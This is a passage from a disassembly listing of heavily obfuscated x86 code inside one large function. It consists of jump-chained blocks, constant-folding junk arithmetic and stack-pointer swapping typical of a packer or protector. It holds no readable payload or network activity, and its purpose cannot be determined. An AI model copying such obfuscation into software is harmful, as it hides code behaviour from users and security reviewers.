		sub	al, 2Eh
		pop	bx
		sub	al, 8Ah
		sub	al, 5Ah
		jmp	loc_5ADCD7
; ---------------------------------------------------------------------------


loc_59FD65:				; CODE XREF: sub_58A891+1785Ej
		mov	edx, 5F3F29C0h
		not	edx
		add	edx, 695F69F4h
		jb	loc_5A0CDA
		and	edx, 725B7DB8h
		jnz	loc_5A58AF


loc_59FD84:				; CODE XREF: sub_58A891+18140j
		pop	esp
		or	eax, eax
		jz	loc_5ABE32
		push	eax
		mov	eax, 2773F42h
		jmp	loc_5A7595
; ---------------------------------------------------------------------------


loc_59FD98:				; CODE XREF: sub_58A891+238EEj
		mov	dl, 16h
		xor	al, dl
		pop	dx
		mov	bh, 20h
		jmp	loc_5ACF88
; ---------------------------------------------------------------------------


loc_59FDA5:				; CODE XREF: sub_58A891+11EDBj
		sub	edi, 4
		xchg	edi, [esp+7Ch+var_7C]
		mov	esp, [esp+7Ch+var_7C]
		mov	[esp+7Ch+var_7C], esi
		push	ebp
		push	ebx
		push	216E4A28h
		jmp	loc_5A25AF
; ---------------------------------------------------------------------------


loc_59FDBD:				; CODE XREF: sub_58A891+15247j
		mov	ebp, 51E234FEh
		mov	eax, ebp
		pop	ebp
		xor	eax, 3F910C14h
		neg	eax
		dec	eax
		xor	eax, 0E008A31Bh
		add	esi, eax
		pop	eax
		add	esi, ecx
		push	eax
		mov	eax, 5D5870C5h
		jmp	loc_5AA518
; ---------------------------------------------------------------------------


loc_59FDE2:				; CODE XREF: sub_58A891+15C30j
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], ecx
		push	esi
		push	61911C09h
		pop	esi
		sub	esi, 1691B992h
		push	esi
		jmp	loc_5A07E7
; ---------------------------------------------------------------------------


loc_59FDFE:				; CODE XREF: sub_58A891+1AD17j
		mov	al, 9
		add	al, dl
		pop	edx
		push	ecx
		mov	ch, 4Dh
		xor	ch, 4Ch
		sub	al, ch
		pop	ecx
		not	al
		push	bx
		mov	bh, 0D3h
		xor	bh, 0B0h
		add	al, 3Dh
		sub	al, 0D5h
		add	al, 75h
		sub	al, 99h
		add	al, bh
		add	al, 99h
		sub	al, 75h
		push	ebx
		mov	bh, 5
		add	bh, 1
		shr	bh, 7
		push	edx
		mov	dl, 0B5h
		sub	dl, 20h
		add	dl, 76h
		shl	dl, 7
		shl	dl, 4
		sub	dl, 0D7h
		add	bh, 2Ch
		sub	bh, dl
		sub	bh, 2Ch
		jmp	loc_5A5505
; ---------------------------------------------------------------------------


loc_59FE4B:				; CODE XREF: sub_58A891+2536Ej
		xor	edx, 2841112Ah
		xor	edx, 22413B66h
		add	eax, edx
		pop	edx
		add	ecx, eax
		jmp	loc_59CFB3
; ---------------------------------------------------------------------------


loc_59FE61:				; CODE XREF: sub_58A891+27279j
		push	ebp
		mov	ebp, 5B0E6FC9h
		sub	edx, ebp
		pop	ebp
		sub	edx, 54F45BFBh
		add	edx, 0CA04B07Ah
		mov	esi, edx
		pop	edx
		and	eax, esi
		pop	esi
		jmp	loc_5A66BE
; ---------------------------------------------------------------------------


loc_59FE81:				; CODE XREF: sub_58A891+1AE75j
		pop	edx
		jmp	loc_5A96FA
; ---------------------------------------------------------------------------


loc_59FE87:				; CODE XREF: sub_58A891+18A25j
		mov	edi, 59B80E77h
		push	0FDAEFE0Ch
		pop	ebx
		jmp	loc_5ACE31
; ---------------------------------------------------------------------------


loc_59FE97:				; CODE XREF: sub_58A891+12F90j
		neg	esi
		ja	loc_5B085B
		sub	esi, 24716061h
		jmp	loc_5A4CD5
; ---------------------------------------------------------------------------


loc_59FEAA:				; CODE XREF: sub_58A891+15F18j
		add	esi, 3D83268h
		jmp	loc_5B2081
; ---------------------------------------------------------------------------


loc_59FEB5:				; CODE XREF: sub_58A891+213B3j
		add	edi, ebx
		pop	ebx
		add	edx, 39C71803h
		add	edx, edi
		sub	edx, 39C71803h
		pop	edi
		xchg	edx, [esp+9Ch+var_9E+2]
		mov	esp, [esp+9Ch+var_9E+2]
		shl	byte ptr [esp+9Ch+var_9E+2], cl
		pushf
		jmp	loc_5A5003
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 7C6F2B95h
		sub	eax, edx
		pop	edx
		add	eax, ebx
		jmp	loc_5A8629
; ---------------------------------------------------------------------------


loc_59FEE7:				; CODE XREF: sub_58A891+226A0j
		push	[esp+0A0h+var_A2+2]
		mov	edx, [esp+0A4h+var_A6+2]
		add	esp, 4
		jmp	loc_5A43ED
; ---------------------------------------------------------------------------


loc_59FEF8:				; CODE XREF: sub_58A891+1EB99j
		sub	al, 0DBh
		sub	al, dh
		add	al, 0DBh
		mov	dx, word ptr [esp+0A0h+var_A2+2]
		add	esp, 2
		sub	al, cl
		add	al, 73h
		jmp	loc_5B2BA6
; ---------------------------------------------------------------------------


loc_59FF0E:				; CODE XREF: sub_58A891+15CC7j
		xchg	ebx, [esp+9Ch+var_9E+2]
		pop	esp
		mov	[esp+98h+var_98], ebx
		mov	bh, cl
		jmp	loc_5A8BE2
; ---------------------------------------------------------------------------


loc_59FF1C:				; CODE XREF: sub_58A891+21E59j
		mov	eax, [esp+98h+var_98]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+9Ch+var_9E+2]
		pop	esp
		jmp	loc_59FAEC
; ---------------------------------------------------------------------------


loc_59FF34:				; CODE XREF: sub_58A891+11D8Ej
		mov	cx, word ptr [esp+66h+var_68+2]
		push	ebx
		jmp	loc_5A03D7
; ---------------------------------------------------------------------------


loc_59FF3E:				; CODE XREF: sub_58A891+13A47j
		mov	edi, 75256CA3h
		push	242Fh
		mov	[esp+46h+var_48+2], edi
		push	ecx
		mov	ecx, 45FF085Dh
		jmp	loc_5AECC2
; ---------------------------------------------------------------------------


loc_59FF56:				; CODE XREF: sub_58A891+162C6j
		mov	ebx, esp
		jmp	loc_5A31F1
; ---------------------------------------------------------------------------


loc_59FF5D:				; CODE XREF: sub_58A891+17CEBj
					; sub_58A891:loc_5A85A1j
		push	esp
		push	[esp+4Eh+var_50+2]
		pop	edx
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4Ah+var_4C+2]
		mov	esp, [esp+4Ah+var_4C+2]
		push	1698h
		mov	[esp+4Eh+var_50+2], edi
		push	3FBD6836h
		pop	edi
		shl	edi, 7
		shl	edi, 3
		jmp	loc_5ADF4E
; ---------------------------------------------------------------------------
		mov	eax, [esp+4Eh+var_50+2]
		push	5B50h
		mov	[esp+52h+var_54+2], ecx
		jmp	loc_5B0C7E
; ---------------------------------------------------------------------------


loc_59FFA0:				; CODE XREF: sub_58A891+27C10j
		sub	esp, 4
		mov	[esp+56h+var_58+2], edi
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ebp
		mov	ebp, 1140778Eh
		shl	ebp, 3
		jmp	loc_5A5A7F
; ---------------------------------------------------------------------------


loc_59FFBC:				; CODE XREF: sub_58A891+19AE3j
		mov	edx, 4
		jmp	loc_5A49BA
; ---------------------------------------------------------------------------


loc_59FFC6:				; CODE XREF: sub_58A891:loc_5A87CAj
					; sub_58A891+22818j
		mov	esp, [esp+5Ah+var_5C+2]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 25D15B3Fh
		or	ebx, 1E2D74E8h
		shl	ebx, 3
		add	ebx, 46763899h
		sub	ebx, 4662388Dh
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp+5Eh+var_60+2]
		jmp	loc_5A9B9B
; ---------------------------------------------------------------------------


loc_59FFF8:				; CODE XREF: sub_58A891+2808Fj
		pop	ebx
		jmp	loc_5A5F18
; ---------------------------------------------------------------------------


loc_59FFFE:				; CODE XREF: sub_58A891+1AD27j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A1D3B
; ---------------------------------------------------------------------------


loc_5A000C:				; CODE XREF: sub_58A891+1CF87j
		not	esi
		shl	esi, 7
		jp	loc_5A58AF
		jmp	loc_5AD6D4
; ---------------------------------------------------------------------------


loc_5A001C:				; CODE XREF: sub_58A891+14497j
		add	edi, ebx
		pop	ebx
		jmp	loc_5AE169
; ---------------------------------------------------------------------------


loc_5A0024:				; CODE XREF: sub_58A891+15012j
		add	edi, ebx
		pop	ebx
		sub	edi, eax
		sub	edi, 3506470Dh
		pop	eax
		sub	eax, edi
		pop	edi
		sub	eax, ebx
		add	eax, 1EDA3E1Eh
		jmp	loc_59EFE2
; ---------------------------------------------------------------------------


loc_5A003F:				; CODE XREF: sub_58A891+1C305j
		mov	ebp, esp
		jmp	loc_5AEAC1
; ---------------------------------------------------------------------------


loc_5A0046:				; CODE XREF: sub_58A891+1BA65j
		push	7CECh
		jmp	loc_5AA129
; ---------------------------------------------------------------------------


loc_5A0050:				; CODE XREF: sub_58A891+1329Bj
		xor	edi, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		push	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_5AC762
; ---------------------------------------------------------------------------


loc_5A005F:				; CODE XREF: sub_58A891+23FABj
		add	al, 0F7h
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], edx
		push	eax
		jmp	loc_5A25D7
; ---------------------------------------------------------------------------


loc_5A006D:				; CODE XREF: sub_58A891+254CAj
		add	esp, 4
		neg	edx
		jmp	loc_5AB059
; ---------------------------------------------------------------------------


loc_5A007A:				; CODE XREF: sub_58A891+16A91j
		or	edx, 7411AF5h
		add	edx, 483A050Fh
		jmp	loc_5A514E
; ---------------------------------------------------------------------------


loc_5A008B:				; CODE XREF: sub_58A891+1829Ej
		sub	ax, bp
		add	ax, 4A0Ah
		sub	ax, 46B3h
		mov	ebp, [esp+1Ah+var_1C+2]
		push	edi
		jmp	loc_5A7707
; ---------------------------------------------------------------------------


loc_5A009F:				; CODE XREF: sub_58A891+174B9j
		pop	esi
		xchg	ebp, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5A10DB
; ---------------------------------------------------------------------------


loc_5A00A9:				; CODE XREF: sub_58A891+24BF5j
		mov	eax, 4964051Ah
		sub	edi, eax
		jmp	loc_5A0B1B
; ---------------------------------------------------------------------------


loc_5A00B5:				; CODE XREF: sub_58A891+27502j
		push	2B8h
		mov	[esp+1Ah+var_1C+2], edx
		mov	dh, 0BAh
		add	dh, 0CEh
		shr	dh, 5
		dec	dh
		push	bx
		mov	bl, 42h
		add	dh, bl
		pop	bx
		jmp	loc_5AC87C
; ---------------------------------------------------------------------------


loc_5A00D4:				; CODE XREF: sub_58A891+23B99j
		push	edx
		mov	edx, 4A5E0539h
		jmp	loc_59C771
; ---------------------------------------------------------------------------


loc_5A00DF:				; CODE XREF: sub_58A891+1F0C0j
		mov	ah, 0A1h
		add	bh, ah
		mov	ax, word ptr [esp+1Eh+var_20+2]
		add	esp, 2
		add	al, bh
		pop	ebx
		add	al, dh
		sub	al, 1
		mov	edx, [esp+16h+var_18+2]
		jmp	loc_5A29F9
; ---------------------------------------------------------------------------


loc_5A00F9:				; CODE XREF: sub_58A891+1D187j
		inc	esi
		jmp	loc_59E284
; ---------------------------------------------------------------------------


loc_5A00FF:				; CODE XREF: sub_58A891+18B7Bj
		push	esi
		push	edi
		jmp	loc_5ABC1A
; ---------------------------------------------------------------------------


loc_5A0106:				; CODE XREF: sub_58A891+1E2F6j
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_5A1A28
; ---------------------------------------------------------------------------


loc_5A0114:				; CODE XREF: sub_58A891+1674Bj
		pop	edx
		jmp	loc_5A8E3D
; ---------------------------------------------------------------------------


loc_5A011A:				; CODE XREF: sub_58A891+19DD7j
					; sub_58A891+1A64Bj
		sub	edi, ecx
		push	[esp+16h+var_18+2]
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_59C373
; ---------------------------------------------------------------------------


loc_5A012D:				; CODE XREF: sub_58A891:loc_59E71Bj
					; sub_58A891+1C6CAj
		jmp	loc_5B16A8
; ---------------------------------------------------------------------------


loc_5A0132:				; CODE XREF: sub_58A891+1956Fj
					; sub_58A891:loc_5AA6FCj
		mov	ecx, esi
		mov	esi, [esp+9Ch+var_9E+2]
		jmp	loc_5B0EE8
; ---------------------------------------------------------------------------


loc_5A013C:				; CODE XREF: sub_58A891+28180j
		pop	esi
		sub	ebp, edi
		jmp	loc_5A723A
; ---------------------------------------------------------------------------


loc_5A0144:				; CODE XREF: sub_58A891+18600j
		add	[esp+98h+var_98], 4
		jmp	loc_5A3811
; ---------------------------------------------------------------------------


loc_5A0150:				; CODE XREF: sub_58A891+15348j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A0155:				; CODE XREF: sub_58A891+144D6j
		pop	edx
		jmp	loc_5B243C
; ---------------------------------------------------------------------------


loc_5A015B:				; CODE XREF: sub_58A891+220DDj
		xchg	ecx, [esp+92h+var_94+2]
		pop	esp
		mov	[esp+8Eh+var_90+2], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+92h+var_94+2]
		pop	esp
		jmp	loc_5A2E8D
; ---------------------------------------------------------------------------


loc_5A0177:				; CODE XREF: sub_58A891:loc_5A0BEDj
		not	edi
		jmp	loc_5AF2D8
; ---------------------------------------------------------------------------


loc_5A017E:				; CODE XREF: sub_58A891+1F552j
		sub	esp, 4
		mov	[esp+92h+var_94+2], esi
		mov	esi, 1F9209A7h
		add	esi, 63422625h
		or	esi, 496E2E85h
		add	esi, 3401D037h
		jmp	loc_5A878C
; ---------------------------------------------------------------------------


loc_5A01A0:				; CODE XREF: sub_58A891+11988j
					; sub_58A891+285B0j
		sub	ebp, 6AAF5A82h
		pop	eax
		push	eax
		mov	eax, 61F661B2h
		sub	eax, 448A7296h
		push	edi
		mov	edi, 335E1ABBh
		xor	eax, edi
		pop	edi
		dec	eax
		jmp	loc_5A8C2B
; ---------------------------------------------------------------------------


loc_5A01C1:				; CODE XREF: sub_58A891+1DB34j
		push	[esp+1Eh+var_1C+2]
		pop	ebx
		pop	[esp+1Eh+var_20+2]
		mov	esp, [esp+1Ah+var_1C+2]
		jmp	loc_5B034D
; ---------------------------------------------------------------------------


loc_5A01D1:				; CODE XREF: sub_58A891+12EC0j
		pop	[esp+16h+var_18+2]
		pop	esp
		jmp	loc_5AC7B8
; ---------------------------------------------------------------------------


loc_5A01DA:				; CODE XREF: sub_58A891+1515Aj
					; sub_58A891+1CDAEj ...
		push	ecx
		mov	ch, 14h
		inc	ch
		or	ch, 0A1h
		jb	loc_5A3DDF
		jmp	loc_5A2226
; ---------------------------------------------------------------------------


loc_5A01ED:				; CODE XREF: sub_58A891+19C57j
		or	edx, ecx
		push	[esp+16h+var_18+2]
		pop	ecx
		add	esp, 4
		sub	edx, 1
		xor	edx, 0E9DAE7BEh
		and	esi, edx
		pop	edx
		sub	esi, 9EF2FA74h
		mov	ecx, 410C0A4Fh
		jmp	loc_59F994
; ---------------------------------------------------------------------------


loc_5A0215:				; CODE XREF: sub_58A891:loc_5A499Ej
					; sub_58A891+1C06Ej
		or	esi, 18F374C5h
		push	eax
		mov	eax, 738C4870h
		add	eax, 30783ACBh
		add	esi, eax
		jmp	loc_5A0D8C
; ---------------------------------------------------------------------------


loc_5A022D:				; CODE XREF: sub_58A891+13A8Aj
		mov	edi, esi
		pop	esi
		inc	edi
		dec	edi
		neg	edi
		sub	edi, 0C915965Ah
		add	edx, edi
		jmp	loc_5B25F5
; ---------------------------------------------------------------------------


loc_5A0241:				; CODE XREF: sub_58A891+1352Aj
					; sub_58A891+19E10j
		mov	ecx, [esp+0C2h+var_C2]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 796388Fh
		neg	ecx
		push	esi
		jmp	loc_5AD690
; ---------------------------------------------------------------------------


loc_5A0255:				; CODE XREF: sub_58A891+1B506j
		push	5CF70455h
		push	[esp+0D2h+var_D2]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0D6h+var_D6]
		pop	esp
		jmp	loc_5A2280
; ---------------------------------------------------------------------------


loc_5A0273:				; CODE XREF: sub_58A891+13037j
		add	dh, 7Dh
		push	ecx
		push	edx
		mov	dh, 0B1h
		neg	dh
		jl	loc_5B2CEB
		shr	dh, 7
		jmp	loc_5AC2BD
; ---------------------------------------------------------------------------


loc_5A028A:				; CODE XREF: sub_58A891+2003Aj
		sub	edi, 2DE3D68h
		push	esi
		mov	esi, 21FD57C2h
		dec	esi
		push	edx
		mov	edx, 16F11758h
		not	edx
		shr	edx, 8
		sub	edx, 1
		xor	edx, 59DE5D56h
		push	3058h
		mov	[esp+0AEh+var_AE], eax
		jmp	loc_5A69A5
; ---------------------------------------------------------------------------


loc_5A02BB:				; CODE XREF: sub_58A891+1D068j
		add	bl, 45h
		sub	bl, 0C6h
		mov	ax, word ptr [esp+0AEh+var_AE]
		push	148Bh
		mov	[esp+0B2h+var_B2], edi
		jmp	loc_5A9315
; ---------------------------------------------------------------------------


loc_5A02D2:				; CODE XREF: sub_58A891+1687Dj
		or	eax, eax
		jnz	loc_5A6FEB
		sub	esp, 4
		mov	[esp+0B6h+var_B6], esi
		push	43FBh
		mov	[esp+0BAh+var_BA], eax
		push	154904A4h
		pop	eax
		sub	eax, 0E290E1E9h
		push	0B81h
		mov	[esp+0BEh+var_BE], eax
		pop	esi
		jmp	loc_59DEB5
; ---------------------------------------------------------------------------


loc_5A0301:				; CODE XREF: sub_58A891+18F3Aj
					; sub_58A891+22789j
		mov	eax, 2
		mov	ebx, eax
		jmp	loc_5A911C
; ---------------------------------------------------------------------------


loc_5A030D:				; CODE XREF: sub_58A891+1D8B7j
		mov	word ptr [esp+0BAh+var_BA], cx
		pop	di
		mov	cx, word ptr [esp+0B8h+var_BA+2]
		add	esp, 2
		xchg	di, word ptr [esp+0B4h+var_B6+2]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0B4h+var_B6+2]
		push	ebp
		sub	esp, 4
		mov	[esp+0BCh+var_BE+2], esp
		add	[esp+0BCh+var_BE+2], 4
		pop	ebp
		jmp	loc_5B22C6
; ---------------------------------------------------------------------------


loc_5A033B:				; CODE XREF: sub_58A891+2166Ej
		jnz	loc_5AC655
		sub	al, 0Ch
		push	ebx
		jmp	loc_5A447D
; ---------------------------------------------------------------------------
		add	esp, 4
		push	esp


loc_5A034D:				; CODE XREF: sub_58A891:loc_59F981j
		sub	esi, 969946Fh
		jmp	loc_5A433D
; ---------------------------------------------------------------------------


loc_5A0358:				; CODE XREF: sub_58A891+22BA5j
		dec	ecx
		jg	loc_5AE922
		add	ecx, 22EE7D13h
		jmp	loc_5B1E2E
; ---------------------------------------------------------------------------


loc_5A036A:				; CODE XREF: sub_58A891+1B42Ej
		add	cl, 6Ch
		push	ebx
		mov	bl, 73h
		push	bx
		jmp	loc_5ADDA4
; ---------------------------------------------------------------------------


loc_5A0377:				; CODE XREF: sub_58A891+198B8j
		mov	dx, word ptr [esp+0C2h+var_C2]
		jmp	loc_5AA838
; ---------------------------------------------------------------------------


loc_5A0380:				; CODE XREF: sub_58A891+22867j
		dec	esi
		add	esi, 1
		and	esi, 1CBF5E27h
		jmp	loc_5A236B
; ---------------------------------------------------------------------------


loc_5A038F:				; CODE XREF: sub_58A891+2259Bj
		push	edx
		mov	edx, 68BC2B87h
		jmp	loc_5A52AD
; ---------------------------------------------------------------------------


loc_5A039A:				; CODE XREF: sub_58A891+25FB8j
		mov	[esp+0C6h+var_C6], esi
		push	ebp
		push	67B46FFEh
		pop	ebp
		not	ebp
		sub	ebp, 664C6788h
		jnz	loc_5AE4D7
		add	ebp, 0ED3B2EC4h
		mov	esi, ebp
		pop	ebp
		inc	esi
		push	edx


loc_5A03BD:				; CODE XREF: sub_58A891+2470Cj
		sub	edx, 74BA1949h
		push	esi
		mov	esi, 46B35EDEh
		shr	esi, 3
		sub	esi, 0E87DF64Dh
		jmp	loc_59DC6F
; ---------------------------------------------------------------------------


loc_5A03D7:				; CODE XREF: sub_58A891+156A8j
		sub	esp, 4
		jmp	loc_5AC994
; ---------------------------------------------------------------------------


loc_5A03DF:				; CODE XREF: sub_58A891+14ECEj
		push	esp
		jmp	loc_5A9162
; ---------------------------------------------------------------------------


loc_5A03E5:				; CODE XREF: sub_58A891+23D11j
		add	ebp, 0FFFFFFFFh
		add	ebp, 5430FD1h
		add	ecx, 39D22D0Bh
		add	ecx, ebp
		sub	ecx, 39D22D0Bh
		push	[esp+0AEh+var_AE]
		pop	ebp
		add	esp, 4
		xor	eax, ecx
		jmp	loc_5A90ED
; ---------------------------------------------------------------------------


loc_5A040D:				; CODE XREF: sub_58A891+1BEA9j
		add	edi, 4
		jmp	loc_5B120E
; ---------------------------------------------------------------------------


loc_5A0418:				; CODE XREF: sub_58A891+147C8j
		inc	edx
		not	edx
		xor	edx, 23D02DCDh
		not	edx
		neg	edx
		push	eax
		push	ecx
		mov	ecx, 58D43210h
		jmp	loc_5A1D8E
; ---------------------------------------------------------------------------


loc_5A0431:				; CODE XREF: sub_58A891+24531j
		sub	eax, 3EA01E75h
		push	2EBDh
		mov	[esp+0DEh+var_DE], edx
		mov	edx, 7DF0A06h
		jmp	loc_5A1132
; ---------------------------------------------------------------------------


loc_5A0448:				; CODE XREF: sub_58A891+1784Bj
		mov	eax, 2
		push	ebp
		mov	ebp, 5A84430Dh
		add	esi, ebp
		pop	ebp
		add	esi, 2B383FB3h
		jmp	loc_5A1964
; ---------------------------------------------------------------------------


loc_5A0461:				; CODE XREF: sub_58A891+2462Fj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp+0E2h+var_DE]
		mov	edx, [esp+0E6h+var_E8+2]
		add	esp, 4
		pop	[esp+0E2h+var_E2]
		pop	esp
		mov	[esp+0DAh+var_DA], ebx
		push	ebp
		mov	ebp, 1
		mov	ebx, ebp
		pop	ebp
		and	eax, ebx
		push	[esp+0DAh+var_DA]
		pop	ebx
		push	5ACh
		jmp	loc_5B1EBF
; ---------------------------------------------------------------------------


loc_5A049A:				; CODE XREF: sub_58A891+15D53j
		xchg	ebp, [esp+0DEh+var_DE]
		pop	esp
		xor	eax, 65444B5Fh
		mov	ebp, [esp+0DAh+var_DA]
		sub	esp, 4
		mov	[esp+0DEh+var_DE], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0DEh+var_DE]
		pop	esp
		jmp	loc_59FDE2
; ---------------------------------------------------------------------------


loc_5A04C6:				; CODE XREF: sub_58A891+16FA0j
					; sub_58A891+185CEj
		add	edx, eax
		pop	eax
		sub	edx, 16F96AFBh
		mov	ecx, edx
		mov	edx, [esp+0D6h+var_D6]
		add	esp, 4
		push	ebp
		push	edi
		push	2D76135h
		jmp	loc_5A1EF3
; ---------------------------------------------------------------------------


loc_5A04E3:				; CODE XREF: sub_58A891+169ABj
		add	esp, 4
		xor	ecx, [esp+0DAh+var_DA]
		xor	[esp+0DAh+var_DA], ecx
		xor	ecx, [esp+0DAh+var_DA]
		pop	esp
		jmp	loc_5AED07
; ---------------------------------------------------------------------------


loc_5A04F8:				; CODE XREF: sub_58A891+21280j
					; sub_58A891+213D1j ...
		xor	ebp, 59FA756Dh
		add	ebp, 4B11482h
		jmp	loc_5AF528
; ---------------------------------------------------------------------------


loc_5A0509:				; CODE XREF: sub_58A891+25B7Ej
		mov	[esp+0D6h+var_D6], eax
		mov	eax, 0B15473Dh
		mov	edi, eax
		pop	eax
		jmp	loc_5A3785
; ---------------------------------------------------------------------------


loc_5A0519:				; CODE XREF: sub_58A891+1B1B9j
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+0CEh+var_CE]
		pop	esp
		push	cx
		jmp	loc_5A9FBB
; ---------------------------------------------------------------------------


loc_5A0528:				; CODE XREF: sub_58A891+1DF77j
		pop	[esp+0CCh+var_CE+2]
		jmp	loc_5AA573
; ---------------------------------------------------------------------------


loc_5A0530:				; CODE XREF: sub_58A891+17257j
		pop	ecx
		jmp	loc_59FCD5
; ---------------------------------------------------------------------------


loc_5A0536:				; CODE XREF: sub_58A891:loc_59CB13j
		dec	ebx
		neg	ebx
		jns	loc_5B193D
		sub	ebx, 9BFFFF5Ah
		jmp	loc_59D452
; ---------------------------------------------------------------------------


loc_5A054A:				; CODE XREF: sub_58A891+25FF6j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_59FF0E
; ---------------------------------------------------------------------------


loc_5A055D:				; CODE XREF: sub_58A891+145AAj
		push	esi
		mov	esi, esp
		jmp	loc_5AFC04
; ---------------------------------------------------------------------------


loc_5A0565:				; CODE XREF: sub_58A891+13F8Dj
		mov	ebp, 5B444EBh
		jmp	loc_5A8469
; ---------------------------------------------------------------------------


loc_5A056F:				; CODE XREF: sub_58A891+2778Dj
		push	ebp
		mov	ebp, 4
		push	753Ch
		mov	[esp+0B6h+var_B6], ecx
		jmp	loc_5AC6DB
; ---------------------------------------------------------------------------


loc_5A0582:				; CODE XREF: sub_58A891+1E660j
		xchg	ebp, [esp+0B6h+var_B6]
		mov	esp, [esp+0B6h+var_B6]
		movzx	ecx, ax
		push	58B0h
		mov	[esp+0BAh+var_BA], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A0598:				; CODE XREF: sub_58A891+161E1j
		pop	ebx
		add	esi, 2
		push	esi
		jmp	loc_5AB00F
; ---------------------------------------------------------------------------


loc_5A05A5:				; CODE XREF: sub_58A891+21033j
		shr	di, 1
		shl	di, 6
		jnz	loc_59F266
		or	di, 59A8h
		jz	loc_5ACB26
		push	edi


loc_5A05BE:				; CODE XREF: sub_58A891+13B8Fj
		push	ebp
		push	727F35FCh
		pop	ebp
		sub	ebp, 727F35FCh
		mov	[ecx], ebp
		mov	ebp, [esp+0C2h+var_C2]
		jmp	loc_59D339
; ---------------------------------------------------------------------------


loc_5A05D5:				; CODE XREF: sub_58A891+1AA6Bj
		push	eax
		jmp	loc_5A84CA
; ---------------------------------------------------------------------------


loc_5A05DB:				; CODE XREF: sub_58A891+1C4D2j
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_5A049A
; ---------------------------------------------------------------------------


loc_5A05E9:				; CODE XREF: sub_58A891+19DBFj
		add	edx, 0F000667h
		push	edi
		jmp	loc_5A2450
; ---------------------------------------------------------------------------


loc_5A05F5:				; CODE XREF: sub_58A891+123FFj
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+0AAh+var_AA], ebx
		push	eax
		push	0E17h
		jmp	loc_59D8FC
; ---------------------------------------------------------------------------


loc_5A060E:				; CODE XREF: sub_58A891+220EBj
					; sub_58A891+242BCj
		sub	[esp+0B2h+var_AE], esi
		pop	esi
		jmp	loc_5A91CA
; ---------------------------------------------------------------------------


loc_5A0618:				; CODE XREF: sub_58A891+22EB3j
		push	[esp+0AEh+var_AE]
		mov	ecx, [esp+0B2h+var_B2]
		add	esp, 4
		push	7BEDh
		mov	[esp+0B2h+var_B2], edi
		sub	esp, 4
		jmp	loc_5B1B67
; ---------------------------------------------------------------------------


loc_5A0631:				; CODE XREF: sub_58A891+16920j
		and	edi, 3EEF415Ah
		jp	loc_5A4CF2
		shl	edi, 3
		neg	edi
		dec	edi
		jp	loc_5A7F2A
		xor	edi, 7CCDF7BBh
		mov	ebp, edi
		pop	edi
		jmp	loc_5AD944
; ---------------------------------------------------------------------------


loc_5A0657:				; CODE XREF: sub_58A891+1DEBEj
		pop	ebx
		pop	ebx
		push	edi
		mov	edi, 27250268h
		neg	edi
		jmp	loc_5AF520
; ---------------------------------------------------------------------------


loc_5A0666:				; CODE XREF: sub_58A891+24E9Aj
		xchg	ebp, [esp+0AEh+var_AE]
		mov	esp, [esp+0AEh+var_AE]
		mov	[esp+0AEh+var_AE], edx
		mov	edx, 4
		push	esi
		mov	esi, 35066405h
		dec	esi
		sub	esi, 7C58645Eh
		add	esi, 5FDB7233h
		sub	ebp, esi
		pop	esi
		jmp	loc_5A1E3D
; ---------------------------------------------------------------------------


loc_5A068F:				; CODE XREF: sub_58A891+21081j
		add	esp, 4
		push	ebx
		push	[esp+0AEh+var_AA]
		pop	ebx
		pop	[esp+0AEh+var_AE]
		mov	esp, [esp+0AAh+var_AA]
		jmp	loc_5B2BB4
; ---------------------------------------------------------------------------


loc_5A06A3:				; CODE XREF: sub_58A891+235E6j
		add	esp, 4
		xchg	edx, [esp+0A6h+var_A6]
		pop	esp
		jmp	loc_5A8EE2
; ---------------------------------------------------------------------------


loc_5A06B2:				; CODE XREF: sub_58A891+18993j
		not	cl
		xor	cl, 57h
		jmp	loc_5B21B2
; ---------------------------------------------------------------------------


loc_5A06BC:				; CODE XREF: sub_58A891+22A0Fj
		mov	[esp+0A2h+var_A2], ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	0FA141F0h
		pop	ebx
		and	ebx, 1BBE2793h
		or	ebx, 31613B06h
		add	ebx, 0A442117h
		mov	ecx, ebx
		jmp	loc_5A7012
; ---------------------------------------------------------------------------


loc_5A06E2:				; CODE XREF: sub_58A891+2822Fj
		mov	edx, 4
		add	ebp, 31B30C1Ch
		add	ebp, edx
		sub	ebp, 31B30C1Ch
		jmp	loc_5B13B6
; ---------------------------------------------------------------------------


loc_5A06FA:				; CODE XREF: sub_58A891+2171Aj
		mov	[esp+0AAh+var_AA], edx
		push	[esp+0AAh+var_A6]
		pop	edx
		pop	[esp+0AAh+var_AA]
		pop	esp
		mov	word ptr [esp+0A2h+var_A2], dx
		mov	dh, 81h
		sub	al, dh
		jmp	loc_59E596
; ---------------------------------------------------------------------------


